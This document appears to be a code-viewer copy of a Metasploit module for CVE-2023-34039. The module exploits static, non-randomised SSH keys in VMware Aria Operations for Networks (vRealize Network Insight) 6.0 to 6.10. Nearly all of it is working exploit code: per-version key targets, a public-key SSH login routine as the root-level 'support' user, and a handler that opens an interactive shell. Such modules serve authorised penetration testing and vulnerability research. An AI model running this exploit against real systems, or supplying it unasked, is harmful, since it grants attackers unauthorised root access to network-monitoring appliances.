Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8

9
class MetasploitModule < Msf::Exploit::Remote
10
  include Msf::Auxiliary::Report
11
  include Msf::Exploit::Remote::SSH
12

13
  Rank = ExcellentRanking
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        {
20
          'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure',
21
          'Description' => %q{
22
            VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0
23
            do not randomize the SSH keys on virtual machine initialization. Since the key is easily
24
            retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user.
25
          },
26
          'Platform' => 'unix',
27
          'Arch' => ARCH_CMD,
28
          'Privileged' => true,
29
          'Targets' => [
30
            [ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ],
31
            [ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ],
32
            [ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ],
33
            [ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ],
34
            [ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ],
35
            [ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ],
36
            [ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ],
37
            [ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ],
38
            [ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ],
39
            [ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ],
40
            [ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ],
41
            [ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ],
42
            [ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ],
43
            [ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ],
44
            [ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ],
45
            [ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ],
46
            [ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ],
47
            [ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ],
48
            [ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ],
49
            [ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ],
50
            [ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ],
51
            [ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ],
52
            [
53
              'All', {} # built later
54
            ],
55
          ],
56
          'Payload' => {
57
            'Compat' => {
58
              'PayloadType' => 'cmd_interact',
59
              'ConnectionType' => 'find'
60
            }
61
          },
62
          'Author' => [
63
            'h00die', # MSF module
64
            'SinSinology', # PoC
65
            'Harsh Jaiswal (@rootxharsh)', # Discovery
66
            'Rahul Maini (@iamnoooob)' # Discovery
67
          ],
68
          'License' => MSF_LICENSE,
69
          'References' => [
70
            ['CVE', '2023-34039'],
71
            ['URL', 'https://github.com/sinsinology/CVE-2023-34039'],
72
            ['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'],
73
            ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'],
74
          ],
75
          'DisclosureDate' => '2023-08-29',
76
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
77
          'DefaultTarget' => 22,
78
          'Notes' => {
79
            'Stability' => [CRASH_SAFE],
80
            'Reliability' => [REPEATABLE_SESSION],
81
            'SideEffects' => [IOC_IN_LOGS]
82
          }
83
        }
84
      )
85
    )
86

87
    register_options(
88
      [
89
        # Since we don't include Tcp, we have to register this manually
90
        Opt::RHOST(),
91
        Opt::RPORT(22)
92
      ], self.class
93
    )
94

95
    register_advanced_options(
96
      [
97
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
98
        OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]),
99
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30])
100
      ]
101
    )
102
  end
103

104
  # helper methods that normally come from Tcp
105
  def rhost
106
    datastore['RHOST']
107
  end
108

109
  def rport
110
    datastore['RPORT']
111
  end
112

113
  def do_login(user, key_data)
114
    opt_hash = ssh_client_defaults.merge({
115
      auth_methods: ['publickey'],
116
      port: rport,
117
      key_data: [ key_data ]
118
    })
119
    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
120
    begin
121
      ssh_socket = nil
122
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
123
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
124
      end
125
    rescue Rex::ConnectionError
126
      print_error "#{rhost}:#{rport} SSH - Unable to connect"
127
      return nil
128
    rescue Net::SSH::Disconnect, ::EOFError
129
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
130
      return nil
131
    rescue ::Timeout::Error
132
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
133
      return nil
134
    rescue Net::SSH::AuthenticationFailed
135
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
136
      return nil
137
    rescue Net::SSH::Exception => e
138
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
139
      return nil
140
    end
141

142
    if ssh_socket
143
      # Create a new session from the socket, then close it.
144
      conn = Net::SSH::CommandStream.new(ssh_socket)
145
      ssh_socket = nil
146

147
      return conn
148
    end
149
    nil
150
  end
151

152
  def exploit
153
    if target.name == 'All'
154
      keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' }
155
    else
156
      keys = [target.opts['key']]
157
    end
158

159
    keys.each do |key|
160
      vprint_status("Attempting key: #{key}")
161
      key_data = File.read(key, mode: 'rb')
162
      conn = do_login('support', key_data)
163
      next unless conn
164

165
      print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}"
166
      handler(conn.lsock)
167
      break if datastore['STOP_ON_SUCCESS']
168
    end
169
  end
170
end
171

172